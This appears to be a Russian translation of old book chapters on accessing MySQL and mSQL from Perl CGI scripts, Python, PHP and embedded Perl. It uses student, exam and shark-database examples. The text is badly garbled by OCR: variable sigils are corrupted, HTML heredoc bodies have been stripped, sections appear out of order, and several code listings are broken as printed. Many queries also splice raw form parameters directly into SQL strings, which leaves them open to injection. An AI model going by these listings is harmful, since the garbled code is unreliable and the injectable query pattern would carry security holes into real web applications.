    Функция обрабатывает все возможные случаи, кроме одного, когда к предмету приписаны учащиеся, которых еще нет в таблице student. В этом случае список новых учащихся передается функции add4, как показано ниже:

    sub add4 {

    #получить список ©students и @notstudents

    &update_students($id,@students) if @students;

    &insert_students($id,@notstudents) if @notstudents;

    # Вывести страницу успешного завершения. }

    Эта функция разделяет список учащихся на существующих и несуществующих тем же способом, что и add3. Затем она обновляет список существующих учащихся с помощью функции update_students , показанной раньше. Несуществующие учащиеся посылаются новой вспомогательной функции insert_students :

    sub insert_students { foreach $i (@list) {

    # Производится выбор очередного числа из последовательности,

    # определенной в таблице. Зто число используется как ID учащегося,

    my $out = $dbh->query('select _seq from student');

    my($sid) = $out->fetchrow;

    # Для включения в базу данных все строки

    # нужно процитировать.

    my ($first, $middle, $last, $ext) = (

    $dbh->quote(param("first$i")),

    $dbh->quote(param("middle$i")),

    $dbh->quote(param("last$i")),

    $dbh->quote(param("ext$i")) );

    my $query = "insert into student (id, first, middle, last,

    ext, subjects) VALUES ($sid, $first, $middle,

    $last, $ext, ':$id:')";

    $dbh->query($query); } }

    И эта функция обращается к таблице student, а не subject. Из последовательности, определенной в таблице student, извлекаются ID для новых учащихся, затем учащиеся вводятся в таблицу с этими ID.



    MysqIPerl

    Монти Видениус, автор MySQL, написал также и интерфейс Perl к MySQL, Mysql.pm. Он основывался на модуле Msql.pm для mSQL, поэтому интерфейсы двух модулей почти идентичны. На практике мы недавно преобразовали целый сайт из mSQL в MySQL, выполнив команду "perl -e 's/^Msql/Mysql/>> *.cgi" в каждом каталоге, содержащем CGI. Это составило 95% всей работы. Разумеется, при этом вы не получаете преимуществ MySQL, но таким путем можно быстро и легко встать на путь использования MySQL. Mysql.pm входит составной частью в пакет msql-mysql-modules Йохена Видмана (Jochen Wiedmann).

    MysqIPerlОдним из самых больших различий между MySQL и mSQL является их работа с последовательностями. В mSQL последовательность определяется в таблице командой CREATE SEQUENCE on tablename . Значение последовательности можно получать после этого, как обычное поле таблицы командой SELECT _se.q from tablename . В MySQL к первичному ключу добавляется флаг AU-TO_INCREMENT . При попытке ввода null в это поле оно автоматически инкрементируется. Как MySQL, так и mSQL допускают в каждой таблице только одну последовательность. Подробное обсуждение последовательностей в MySQL и mSQL см. в главе 6 "Диалект SQL, используемый в MySQL и mSQL".

    Чтобы показать некоторые функции Mysql.pm, вернемся к примеру с экзаменами. Разобравшись с subject.cgi, займемся таблицей сведений об учащихся. Ее структура такова:

    CREATE TABLE student (

    id INT NOT NULL auto_increment,

    first VARCHAR(50),

    middle VARCHAR(50),

    last VARCHAR(50),

    ext VARCHAR(50),

    subjects VARCHAR(100),

    age INT,

    sex INT,

    address BLOB,

    city VARCHAR(50),

    state VARCHAR(5),

    zip VARCHAR(10),

    phone VARCHAR(10),

    PRIMARY KEY (id)
    )

    В этой таблице находятся все данные, используемые программой subject, cgi, a также другие сведения, которые относятся к учащемуся. Программа student.cgi, работающая с этой таблицей, должна выполнять все те функции, которые программа subject.cgi выполняла в отношении таблицы subject.

    MysqIPerlНельзя работать с базой данных mSQL через модуль Mysql.pm, как и с базой MySQL через Msql.pm. Программа stu-dent.cgi предполагает, что таблица предметов находится в базе данных MySQL. Аналогично, программа subject.cgi рассчитывает на mSQL-версию таблицы учащихся.


    Чтобы продемонстрировать, как работает Mysql.pm, мы подробно изучим ту часть student.cgi, которая позволяет пользователю изменять сведения об учащемся. Так же как операция "add" (добавление) в примере для Msql.pm была разбита на четыре отдельные функции, операция "change" (изменение) разбита здесь на три отдельные функции.

    Первая функция - изменения, выводит форму, позволяющую пользователю найти учащегося, данные о котором нужно изменить:

    sub change {

    print header, start_html('title'=>'Поиск учащегося для изменения денных'

    'BGCOLOR'=>'white');

    &print_form('search2', Поиск учащегося для изменения данных',1);

    print <











    END_OF_HTML }

    Форма, используемая для поиска учащегося с целью изменения, настолько сходна с формами для просмотра данных и для добавления, что во всех трех случаях используется одна функция, print_form , показанная ниже:

    sub print_form {

    my ($action,$message,$any) = @_;

    print <




    $message



    END_OF_HTML

    if ($any) {

    print <Поиск

    выбранные вами.

    END_OF_HTML

    У

    print <
    Имя:



    Отчество:



    Фамилия:



    МЛ./III/И т.д..:



    Адрес:




    Город:



    Штат:



    Почтовый индекс:



    Телефон:



    Возраст:



    Пол:





    Записан на:

    END_OF_HTML

    &print_subjects("MULTIPLE SIZE=5");

    }

    Благодаря использованию трех параметров эта функция настраивает шаблон формы так, что может использоваться в самых различных целях. Обратите внимание, что эта вспомогательная функция использует другую вспомогательную функцию, print_subjects . Последняя выводит список всех имеющихся предметов из таблицы subject, как в примере Msql.pm.

    sub print_subjects { my $modifier = "";

    $modifier = shift if @_;

    print qq%\n";

    }

    Параметры поиска, введенные в первую форму, передаются функции search2, фактически осуществляющей поиск. На самом деле это функция, написанная для поиска учащегося, данные о котором нужно показать. Поскольку она делает как раз то, что нам требуется, мы можем ею воспользоваться, если сообщим ей, что после поиска хотим перейти

    к следующей функции изменения, change2. Для этого мы ввели в форму скрытую переменную subaction=change2 . Она сообщает search2, куда отправить пользователя дальше:

    sub search2 {

    my $out = $dbh->query(&make_search_query);


    my $hits = $out->numrows;

    my $subaction = "view";

    $subaction = param('subaction')

    if param('subaction');

    print header, start_html('title'=>'Результаты поиска учащихся', 'BGCOLOR'=>'white');

    if (not Shits) {

    print <
    <Н1>Учащихся не найдено



    He найдено учащихся, удовлетворяющих вашему критерию.

    END_OF_HTML } else {

    print <

    Найдено $hits учащихся

    <р>



    END_OF_HTML

    while(my(%fields)=$out->fetchhash) {

    print qq%


  • $fields{'first'} $fields{'middle'} $fields{'last'}%;

    print ", $fields{'ext'}" if $fields{'ext'};

    print "\n
    "; } }

    print <
    HcKaTb снова.



    END_OF_HTML }

    С помощью функции make_search_query эта функция сначала ищет учащихся, отвечающих критериям поиска. Затем она выводит список найденных записей, среди которых пользователь может сделать выбор. ID выбранной записи передается функции change2, как показано ниже:

    sub change2 {

    my $out = $dbh->query

    ("select * from student where id=$id");

    my($did,Ifirst,$middle,$last,

    $ext,Ssubjects.Sage,$sex,$address,

    $city,$state,$zip,$phone) = $out->fetch row;

    my ©subjects = split(/:/,$subjects);

    shift,©subjects;

    my $name = "$first $tmiddle $last";

    if ($ext) { $name .= ", $ext"; }

    print header, start_html('title'=>"$name", 'BGCOLOR'=>'white');

    print <

    $name









    Имя:




    Отчество:



    Фамилия:



    МЛ./III/И т.д.



    Адрес:



    Город:



    Штат:



    Почтовый индекс:



    Телефон:




    Возраст:



    Пол:

    END_OF_HTML

    my %sexes = ( '1' => 'Мужской',

    '2' => 'Женский' );

    print popup_menu('name'=>'Пол', 'values'=>["!', '2'], 'default'=>"$sex", ' labels'=>\%sexes);

    print <
    Записан на:


    END_OF_HTML

    my @ids = ();

    my %subjects = ();

    my $out2 = $dbh->query("select id, name from subject order by name");

    while(my($id,$subject)=$out2->fetchrow) { push(@ids,Sid);

    $subjects{"$id"} = $subject; }

    print scrolling_list('name'=>'subjects', 'values'=>[@ids], 'default'=>[@subjects], 'size'=>5, 'multiple'=>'true', 'labels'=>\%subjects);

    print <
    <р>









    END_OF_HTML

    }

    Главная задача этой функции - вывести форму, очень похожую на ту, которую порождает print^from. Однако значениями по умолчанию в этой форме должны быть те, которые соответствуют выбранному учащемуся. В результате пользователь может редактировать одни поля, оставляя другие неизменными.


    Несколько функций, предоставляемых модулем CGI.pm, оказываются очень удобными при выводе формы со значениями, установленными по умолчанию, особенно функция CGI: :scrolling_list , выводящая блок HTML Предмет: END_OF_HTML
    my @ids = (); my %subjects = ();

    my $out2 = $dbh->prepare("select id,name from subject order by name" $out2->execute;

    # DBI: :fetchrow_array() совершенно аналогична Msql: :fetchrow()
    while(my($id,$subject)=$out2->fetchrow_array) {
    push(@ids,Sid); $subjects{"$id"} = Ssubject; }

    print popup_menu('name'=>'subjects', 'values'=>[@ids], 'default'=>$subject, 'labels'=>\%subjects);
    print <
    Число вопросов:
    Название или идентификатор (например, дата) экзамена:


    <Р>




    END_OF_HTML }

    Эта функция выводит форму, позволяющую пользователю выбрать предмет для экзамена, а также количество вопросов и название. Для вывода списка имеющихся предметов выполняется запрос к таблице предметов. При выполнении в DBI запроса SELECT он должен быть сначала подготовлен, а затем выполнен. Функция DBI::prepare полезна при работе с некоторыми серверами баз данных, позволяющими осуществить операции над подготовленными запросами, прежде чем выполнить их. Для MySQL и mSQL это означает лишь запоминание запроса до вызова функции DBI:: execute .


    Результаты работы этой функции посылаются функции add2, как по-: казано ниже:

    sub add2 {

    my Ssubject = param('subjects');

    [

    my $num = param('num');

    $name = param('name') if param('name');

    my $out = $dbl"prepare("select name from subject where id=$subject");

    $out->execute;

    my (Ssubname) = $out->fetchrow_a.rray;

    print header, start_html('title'=>"Создание экзамена по предмету $subname", ' BGCOLOR'=>'white');

    print <

    Создание экзамена по предмету $subname

    $name















    Введите количество баллов за каждый правильный ответ.

    Сумма баллов не обязательно должна равняться 100.

    <Р> END_OF_HTML

    for (1..$num) {

    print qq%$_: %; if (not.$_ % 5)
    { print "
    \n"; } } print <


    Введите текст экзамена:





    END_OF_HTML }

    Эта функция динамически генерирует форму для экзамена, основываясь на параметрах, введенных в предыдущей форме. Пользователь может ввести количество баллов для каждого вопроса экзамена и полный текст самого экзамена. Выходные данные этой функции посылаются завершающей функции add3, как показано ниже:

    sub add3 {

    my $subject = para'm( 'subjects');
    my $num = param('num');

    $name = param('name') if param('name');

    my $qname;

    ($qname = $name) =" s/'/\\'/g;

    my $q1 = "insert into test (id, name, subject, num) values ( '.'-, '$qname', $subject, $num)";


    my Sin = $dbh->prepare($q1); $in->execute;

    # Извлечем значение ID , которое MySQL создал для нас
    my $id = $in->insertid;

    my $query = "create table t$id ( id INT NOT NULL,

    my $def = "insert into t$id values ( 0, ";

    my $total = 0;

    my @qs = grep(/^q\d+$/,param);

    foreach (@qs) {

    $query .= $_ . " INT,\n";

    my $value = 0;

    $value = param($_) if param($_);

    $def .= "lvalue, ";

    $total += $value; }

    $query .= "total INT\n)"; $def .=-"$total)";

    my $in2 = $dbh->prepare($query);

    $in2->execute;

    my $in3 = $dbh->prepare($def);

    $in3->execute;

    # Обратите внимание, что мы запоминаем экзамены в отдельных файлах. Это

    # полезно при работе с mSQL, поскольку он не поддерживает BLOB.
    # (Тип TEXT, поддерживаемый в mSQL 2, можно использовать,

    # но это неэффективно.)

    # Поскольку мы используем MySQL, можно с таким же успехом

    # поместить весь экзамен в BLOB.
    open(TEST,">teach/tests/$id") or die("A: $id $!");
    print TEST param('test'), "\n";

    close TEST;

    print header, start_html('title'=>'Экзамен создан', 'BGCOLOR'=>'white');

    print < <Н1>Экзамен создан

    Экзамен создан.

    <р>

    <А HREF=".">Перейти на домашнюю страницу 'В помощь учителю'.

    <А HREF="test.cgi">nepeimi на главную страницу экзаменов.

    <А HREF="test.cgi?actio,n=add">Добавить следующий экзамен.



    END_OF_HTML

    }

    Теперь введем информацию об экзамене в базу данных. При этом мы шагнем дальше обычного ввода данных, который видели до сих пор. Данные по экзаменам достаточно сложны, поэтому каждый экзамен лучше хранить в собственной таблице. Вместо добавления данных в существующую таблицу мы создадим совершенно новую таблицу для каждого экзамена. Сначала мы создадим ID для нового экзамена с помощью функции автоинкрементирования MySQL и введем название и ID экзамена в таблицу с именем test. Эта таблица является просто указателем на экзамены, по ней можно легко найти ID любого экзамена. Затем мы создадим одновременно два запроса. Первый будет запросом CREATE TABLE, который определит наш новый экзамен. Второй запрос будет иметь тип INSERT и запишет в нашу таблицу максимальные баллы по каждому вопросу. Эти запросы будут отправлены серверу базы данных, что завершит весь процесс (после вывода пользователю страницы с сообщением об успешном завершении). Позднее, после сдачи экзамена учащимися, для каждого учащегося будет создана запись в таблице экзамена. Эти записи могут быть сравнены с максимальными значениями для определения оценки учащегося.



    Динамическое соединение с базами данных

    Тот метод API, который мы до сих пор обсуждали в этой главе, дает, в сущности, все необходимое для простых и наиболее часто встречающихся повседневных задач выборки, вставки, обновления и удаления данных в базе. В некоторых более сложных приложениях может оказаться, что вы ничего (или чего-нибудь) не знаете о базе данных, с которой соединяетесь и которой посылаете команды. Хотя оба API поддерживают метаданные уровня базы данных - информацию времени выполнения о базе данных, с которой соединены, - только MySQL API обеспечивает полную поддержку динамически генерируемых вызовов SQL, включая метаданные результирующего набора.

    Описатели команд в MySQL

    Как уже отмечалось, в MySQL есть два средства обработки запросов. Более простая форма возвращает результирующий набор в виде списка списков. Более сложная форма возвращает описатель команды.

    Описатель команды представляет результаты обработки запроса к MySQL через метод query() (в противоположность использованию метода do()). Пример 11-2 показывает, как можно использовать описатель команды для получения информации времени выполнения о запросе или команде обновления.

    Пример 11-2. Динамический доступ к базе данных MySQL с помощью описателя команды

    [7:20pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on- sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL,con.nect();

    >>> db.selectdb('db_test-);

    >>> result - db.query("INSERT INTO test(test_id,test_val) VALUES(4,

    'Bing!')");

    >>> print result.affectedrows();

    1

    >>> result = db.query("SELECT * FROM test");

    >>> print result. numrows();

    3

    >>> print result.fields();

    [['test_id', 'test', 'long', 11, 'notnull'], ['test_val', 'test', 'string',

    100, "]]

    >>> print result, fetchrows(-l);

    [[1, 'This is a test.'], [2, 'This is a test.'], [4. 'Bing!']]

    >>>

    В дополнение к результирующему набору запроса можно с помощью описателя команды получить число строк, затронутых операциями обновления, вставки или удаления. В примере 11-2 мы получили количество строк, возвращенных запросом, и подробные сведения о колонках, представленных в результирующем наборе.


    Из новых методов, появившихся в примере 11-2, только fetchrows() не является самоочевидным. Этот метод получает очередную группу строк в количестве, определяемом переданным ему параметром. Иными словами, при вызове result. fetchrows(2) возвращается список, состоящий из очередных двух строк. Метод возвращает список, состоящий из всех строк, если ему передан параметр, меньший 0 — как в данном примере. Сочетая этот метод с обращением к seek(), можно перемещаться по результирующему набору. Метод seek() принимает целочисленный параметр, указывающий на строку, с которой вы хотите работать, при этом 0 указывает на первую строку.

    Метаданные базы данных

    Хотя только MySQL API поддерживает динамическое управление результирующим набором (по крайней мере, на момент данной публикации), оба API поддерживают метаданные базы данных с помощью почти идентичных наборов методов. Метаданные базы данных представляют собой информацию о соединении с базой данных. В примере 11-3 приведена сессия Python, заставляющая соединения с MySQL и mSQL рассказать о себе.

    Пример 11-3. Данные

    [7:56pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL, MySQL;

    >>> msql = mSQL.connect();

    >>> mysql = MySQL.connect();

    >>> print msql.listdbs();

    ['db_test', 'db_web']

    >>> print mysql.listdbs();

    [['dbjest'], ['mysql'], ['test']]

    >>> msql.selectdb('db_test');

    >>> mysql.selectdb('db_test');

    >>> print msql. listtables();

    ['test', 'hosts']

    >>> print mysql.listtables();

    [['test']]

    >>> print msql.serverinfo;

    2.0.1

    >>> print mysql.serverinfo();

    3.21.17a-beta-log

    >>> print mysql.clientinfo();

    MySQL-Python-1.1

    >>> print msql.hostname;

    None

    >>> print mysql.hostinfo();

    Localhost via UNIX socket

    >>> print mysql.stat();

    Uptime: 4868410 Running threads: 1 Questions: 174 Reloads: 4 Open tables: 4

    >>> print mysql.listprocesses();

    None

    >>>

    В этом примере долгая серия обращений к методам обеспечивает вывод расширенной информации о соединениях с базами данных. В ряде случаев mSQL предоставляет эту информацию через неизменяемые атрибуты, а не методы. MySQL API предоставляет значительно больше сведений, чем mSQL. Обратитесь к справочному разделу части III "Справочник" за полным описанием этих методов и атрибутов.

    Если вы пишете много программ

    Python

    Если вы пишете много программ на Perl, но не знакомы с Python, вам определенно следует познакомиться с ним. Python является объектно-ориентированным языком сценариев, сочетающим мощь таких языков, как Perl и Tсl, с понятным синтаксисом, что позволяет создавать приложения, которые легко поддерживать и развивать. Отличное введение в программирование на Python дается в книге Марка Лутца (Mark Lutz) и Дэвида Эшера (David Asher) "Learning Python", изданной O'Reilly & Associates, Inc. В данной главе предполагается наличие у читателя знакомства с основами языка Python, включая умение добавлять новые модули к начальной инсталляции Python.

    Поддержка баз данных MySQL и mSQL со стороны Python, которая является предметом данной главы, осуществляется посредством двух модулей Python. В момент публикации данной книги модуль для mSQL был доступен на http://www.python.org, а для MySQL - на http://www.mysql.com. Хотя есть несколько других модулей, обеспечивающих приложениям Python доступ к MySQL и mSQL, они, как и эти два, являются, в основном, вариациями на тему С API для MySQL и mSQL. Для доступа к выбранной вами базе данных и выполнения примеров этой главы необходимо установить один или оба этих модуля.

    Оба API практически одинаковы, поэтому мы будем рассказывать сразу об обоих, оговаривая.места, где между ними есть различия.



    Основы подключения к базам данных

    API для Python являются, вероятно, самыми простыми API для работы с базами данных из всех, встречающихся в этой книге. Как и для других API, начать нужно с подключения к базам данных — установления соединения. Поскольку Python имеет интерактивный интерфейс, продемонстрировать соединение проще всего с помощью интерпретатора командной строки. Ниже показаны две сессии Python, демонстрирующие простое соединение с базами данных MySQL и mSQL соответственно. В первом примере производится соединение с базой данных MySQL:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import MySQL;

    >>> db = MySQL.connect( 'athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.do('select test_val from test where test_id = 1');

    >>> print result;

    [['This is a MySQL test.']]

    >>>

    Код для mSQL, делающий то же самое, выглядит почти идентично:

    [4:30pm] athens> python

    Python 1.5.1 (#1, Jun 13 1998, 22:38:15) [GCC 2.7.2] on sunos5

    Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam

    >>> import mSQL;

    >>> db = mSQL.connect('athens. imaginary.com');

    >>> db.selectdb('db_test');

    >>> result = db.query('select test_val from test where test_id = 1');

    >>> print result;

    [('This is a mSQL test.',)]

    >>>

    В обоих случаях прежде всего нужно импортировать соответствующий модуль Python. He следует использовать синтаксис mSQL import *, так как он засорит пространство имен вашего приложения. Вместо этого в каждом модуле следует получить экземпляр описателя базы данных с помощью метода connect() и использовать этот описатель для доступа к базе данных.

    Вызов connect() в обоих API схож, но не одинаков. В приведенном примере подключения к MySQL мы подключаемся к базе данных, для которой разрешен глобальный доступ. Поскольку в этом случае не требуется указания имени пользователя или пароля, вызов connect() для сессии MySQL выглядит так же, как для сессии mSQL. Однако вы можете задать имя пользователя и пароль, если того требует ваша база данных MySQL. Например, db = MySQL.connect( 'athens. imaginary.com', 'myuid', 'password'); подключит вас к серверу MySQL на athens.imagi-nary.com в качестве "myuid" с паролем "password". Тот и другой API не требуют имени узла при локальном подключении. В этом случае они достаточно сообразительны и для более быстрого соединения используют сокет домена Unix (на Unix-системах).


    Процесс соединения в С API является двухэтапным и требует сначала соединиться с сервером, а затем выбрать базу данных, которую вы хотите использовать. Для API Python требуются те же шаги. Как для MySQL, так и для mSQL метод API для выбора базы данных практически одинаков: selectdb() . В большинстве случаев вы передаете этому методу единственный параметр - имя базы данных. MySQL поддерживает необязательный второй параметр, позволяющий потребовать, чтобы результирующий набор оставался на сервере, пока не будет запрошена каждая его строка. Этот вариант требуется только тогда, когда вы знаете, что память клиента ограниченна, или извлекаете очень большой результирующий набор.

    Запросы

    Эти два API слегка различаются в том способе, каким посылаются команды базе данных и обрабатываются возвращаемые результаты. API для mSQL очень прост и не имеет поддержки курсоров. Напротив, API для MySQL поддерживает простой mSQL API, а также более сложный набор методов API, которые более точно отражают С API и обеспечивают поддержку курсоров. При программировании на Python поддержка курсоров имеет сомнительную ценность, поскольку ни одна из этих баз данных не поддерживает редактирование по месту, а упрощенный API, показанный в интерактивных сессиях, позволяет перемещаться вперед и назад по результирующему набору с такой же легкостью, как и с помощью курсора. Однако далее в этой главе мы найдем применение для курсора, поскольку метод API, обеспечивающий поддержку курсора, обеспечивает также поддержку динамического доступа к базе данных.

    mSQL API и простая форма MySQL API позволяют приложению запрашивать базу данных и выводить результаты в виде списка. К несчастью, эти API имеют тривиальное, но неприятное различие в том, каким образом это делается. Во-первых, для mSQL метод запроса называется query(), а для MySQL он называется do(). Каждый из методов воспринимает в качестве аргумента любую строку SQL. Если команда порождает результирующий набор, он возвращается в виде списка: списка кортежей для mSQL и списка списков для MySQL.


    В большинстве случаев различие в типе возвращаемых значений несущественно: кортежи не могут изменяться. Код в большинстве случаев одинаков. Тем не менее следует помнить, что строки MySQL являются списками, а строки mSQL - кортежами, на случай, если вы столкнетесь с ситуацией, где это различие существенно. В примере 11-1 приводится простая Python-программа, обращающаяся к базам данных MySQL и mSQL и выводящая результаты.

    Пример 11-1. Обработка запросов в Python дд,я mSQL и MySQL

    #!\/usr/local/bin/python

    # Импорт модулей import Msql, MySQL;

    # Инициализация значений database и query

    database = 'db_test';

    query = 'SELECT test_id, test_val FROM test';

    # Соединение с серверами msql = mSQL.connect();

    mysql = MySQL.connect();

    # Выбор тестовых баз данных msql.selectdb(database);

    mysql.selectdb(database);

    # Выполнение запроса

    m_result = msql.query(query);

    my_result = mysql.do(query);

    #Обработка результатов для mSQL

    for row in m_result:

    # Здесь row является кортежем

    print "mSQL- test_id: ",row[0]," test_val: ",row[1];

    # Обработка результатов для MySQL

    for row in my_result:

    ft Здесь row является списком

    print "MySQL- test_id: ",row[0]," | test_val: ",row[1];

    # Закрыть соединение (только mSQL)

    msql.close();

    Для обеих баз данных, MySQL и mSQL, приложение просматривает в цикле каждую строку результирующего набора и выводит ее данные. В mSQL первый элемент кортежа представляет первую колонку запроса, а второй элемент - вторую колонку. Аналогично, первый элемент в списке MySQL представляет первую колонку запроса, а второй элемент - вторую колонку.

    Обновление

    Обновление, вставка и удаление в базе данных производится с помощью того же метода API, что и запросы, - просто не требуется обрабатывать результирующий набор. Иными словами, вызовите query() или do(), и больше ничего не требуется. В MySQL есть дополнительная возможность возврата значения AUTO_INCREMENT , если в затронутой таблице есть поле с атрибутом AUTO_INCREMENT .



    Альтернативные методы создания динамического содержания Web

    Впервые то, что сейчас мы называем Dynamic HTML, появилось в Web в виде Server Side Includes (SSI) - "включений на стороне сервера". В основе SSI лежит та мысль, что есть ряд часто встречающихся величин, таких как текущие дата и время, которые включать в HTML-страницу полезно, но непрактично, поскольку они очень часто изменяются. SSI дает способ, которым HTML-страница может потребовать от сервера включить в нее значения таких параметров перед тем, как послать страницу конечному пользователю. Благодаря этому параметр всегда имеет текущее значение, а создателю страницы нет необходимости непрерывно ее обновлять. Типичная директива SSI на странице HTML выглядит так:

    Saturday, 03-Jan-2026 06:47:43 MSK

    Проблема SSI в том, что набор данных, который сервер может легко предоставить, очень ограничен. Сверх даты, времени и способности включать другие файлы остается не много возможностей без того, чтобы сам веб-сервер не начал серьезно разрастаться.

    Вскоре стало ясно, что если сам веб-сервер не обеспечивает динамического HTML, он может появиться только из двух источников. Либо клиент, то есть веб-броузер, интерпретирует команды, либо какая-нибудь другая программа на сервере осуществляет предварительную обработку команд, выдавая конечному пользователю чистый HTML.

    Первый путь привел к JavaScript и аналогичным технологиям. В JavaScript, как и в SSI, команды встраиваются в HTML. В отличие от SSI, сервер не трогает команды JavaScript, их обрабатывает броузер. Такой способ предоставляет значительно лучшее взаимодействие с пользователем. Например, JavaScript позволяет определить действия, которые должны производиться при перемещении пользователем мыши над различными участками экрана. Благодаря этому удается создать ощущение непосредственности и интерактивности, недостижимые другими средствами. Вот пример типичного кода JavaScript:



    Трудность, вызываемая решениями, работающими только на стороне клиента, такими как JavaScript, состоит в том, что, как только клиент заканчивает загрузку страницы, связь с сервером теряется. Очень часто на сервере располагаются ресурсы, например, серверы баз данных, с которыми хотелось бы взаимодействовать. Однако сценарии, выполняемые на стороне клиента, обычно делают невозможной или неэффективной связь с сервером или другой удаленной машиной после того, как страница загружена. Такого рода функциональность больше соответствует решениям на стороне сервера.


    При наличии интерпретатора на стороне сервера документ HTML просматривается перед тем, как быть отосланным конечному пользователю. Какая-либо программа, обычно программа CGI, выявляет и выполняет программный код, встроенный в HTML. Преимущество такой системы в том, что используется мощь CGI-программы и значительная доля сложности остается скрытой.

    Предположим, что есть морская организация с базой данных об акулах. База данных содержит важную статистику по различным видам акул, а также имена файлов с изображениями этих тварей. Для создания веб-интерфейса к этой базе данных идеально применим HTML с интерпретацией на сервере. Все выходные страницы с информацией о выбранном виде акулы имеют идентичный формат. В местах, где требуются динамические данные из базы, можно вставить команды, которые будут выполнены до того, как пользователь увидит страницу. Можно даже генерировать динамические теги для показа желаемых изображений. Позднее в этой главе мы покажем, как можно реализовать этот пример с помощью различных интерпретаторов на сервере.



    и другие средства поддержки HTML,

    PHP и другие средства поддержки HTML, управляемого базами данных

    Есть несколько простых в использовании программных расширений HTML, обеспечивающих поддержку доступа к серверам баз данных MySQL и mSQL с веб-страниц. В этой главе мы начнем с W3-mSQL -средства для mSQL. Затем покажем менее связанный с конкретной базой данных подход с помощью РНР и двух небольших расширений Perl. Имеющийся в W3-mSQL язык сценариев Lite позволяет встраивать в HTML-файлы целые программы. CGI-программа выполняет сценарий и посылает клиенту результат в виде динамически создаваемого документа HTML.

    Поскольку W3-mSQL и другие расширения, рассматриваемые в данной главе, используют собственные языки сценариев и скрывают всякие признаки использования CGI, в этой главе не требуется знания предшествующего материала данного раздела. Однако при чтении главы может оказаться полезным понимание того, как работает CGI, a также наличие некоторого предшествующего опыта программирования (Lite сходен как с С, так и с Perl).



    РНР

    По самой своей природе W3-mSQL узко специализирована для использования с СУБД mSQL. Если вы используете MySQL или же W3-mSQL не покрывает всех ваших потребностей, то есть другие препроцессоры HTML, предлагающие поддержку баз данных.

    РНР, что означает "PHP: Hypertext Preprocessor" (препроцессор гипертекста), является приложением, очень близким по духу W3-mSQL. Оба приложения являются CGI-программами, интерпретирующими HTML перед отправкой броузеру окончательной страницы. Оба имеют встроенный язык сценариев. Более того, в обе программы тесно интегрированы возможности работы с базами данных. Однако РНР идет дальше W3-mSQL, предлагая совместимость с несколькими серверами баз данных, включая MySQL и mSQL.

    Язык сценариев РНР более богат и может использоваться в большем числе приложений, чем W3-mSQL. Короче, предпочтительнее использовать РНР, если только вы не привязаны к использованию mSQL в качестве сервера баз данных. В последнем случае более удобной для вас будет некоторая оптимизация, имеющаяся в W3-mSQL.

    С использованием РНР пример с базой данных по акулам может выглядеть так:

    <НТМL>

    <НЕАD>Результат поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <Р>
    /* Начинаем построение запроса. В результате типичный запрос

    * может выглядеть так:

    * SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2 */

    $query = "select * from sharks where ";

    if ($species || $age || Slocation) {

    $query += " where "; }

    if ($species) { $query += "species = '$species'";
    }
    if ($age) {

    if ($species) { $query += " and "; }

    $query += "age = Sage";

    }

    if ($location) {

    if ($species || $age) { Squery += " and "; } $query += "location = '$location'";

    }

    $result = msql("sharks",Squery);

    if (result == -1) {

    echo("Error : $phperrmsg\n");

    exit(1); }


    Snumresults = msql_numrows($result);

    >




    if (! $numresults ); >

    <Н2> Результатов не найдено


    else {

    while-($i < $numresults) {

    $id[$i] = msql_result($result,$i,"id");

    $species[$i] = msql_result($result,$i,"species");

    $age[$i] = msql_result($result,$i,"age");

    $loc[$i] = msql_result($result,$i,"location");

    echo("
  • ");

    printf("", $id[$i]); echo("<В>Вид: $species[$i]
    ");

    if ($age[$i] == 1) { $age = "Молодые"; }

    else if ($age[$i] == 2) { $age = "Взрослые"; }

    else if {$age[$i] == 3) { $age = "Старые"; }

    echo("Age: $age
    ");

    echo("Paйoн $location[$i]
    ");

    }

    }

    }



    Hoый поиск





    Встроенный Perl

    Несколько модулей Perl и соответствующих программ позволяют встраивать код Perl в документ HTML. Перед отправкой окончательной страницы HTML броузеру этот код выполняется CGI-программой.

    Наиболее очевидное преимущество таких решений перед W3-mSQL и РНР заключается в том, что в качестве языка сценариев в HTML-файле используется обычный Perl. Будучи простыми в изучении и схожими по стилю с С и Perl, языки сценариев Lite и РНР все же являются уникальными патентованными языками, используемыми лишь с единственной целью. Напротив, Perl практически вездесущ. Это стандартный язык программирования, отлаживавшийся на протяжении многих лет и обладающий развитыми возможностями в отношении безопасности. В пользу такого типа решений есть убедительные аргументы.

    ePerl

    Первым приложением, позволившим встраивать код Perl в текст ASCII и, в частности, в документ HTML, был ePerl. Сама программа ePerl написана на С и предназначена для использования в качестве интерпретатора Perl общего назначения для документов ASCII. Она прекрасно работает с HTML, но не имеет специфических для HTML или веб-возможностей, предоставляемых некоторыми другими пакетами.

    EmbPerl

    Программа EmbPerl создана позднее, чем ePerl, и более ориентирована на HTML и Web. Она позволяет использовать дополнительные "метакоманды" - теги в стиле HTML, обрабатываемые EmbPerl, - которые вводят в сам HTML возможности ветвления и другие элементы программирования .

    В качестве примера встраивания кода Perl в файл HTML рассмотрим форму для вывода данных из базы данных по акулам, приводившуюся выше. Мы будем использовать в нашем примере EmbPerl, но поскольку используется стандартный Perl, код практически одинаков для различных средств встраивания Perl.



    <НЕАD><ТIТLЕ>Результаты поиска акул



    <Н1> Вот акулы, удовлетворяющие условиям поиска...

    <р>

    [-

    use Msql;

    use CGI qw(:standard);

    $dbh = Msql->connect; $dbh->selectdb("sharks");


    %age = ( '0' => 'Молодые',

    '1' => 'Взрослые',

    '2' => 'Старые'

    );

    # Начинаем построение запроса. В результате типичный запрос

    # может выглядеть так:

    # SELECT * FROM SHARK WHERE SPECIES='Isurus Paucus' AND AGE=2

    $query = "select * from sharks where ";

    if ( Sspecies or Sage or $location) {

    $query .= " where ";

    $query .= join(" and ", param); }

    Sresult = $dbh->query($query);

    if (result == -1) {

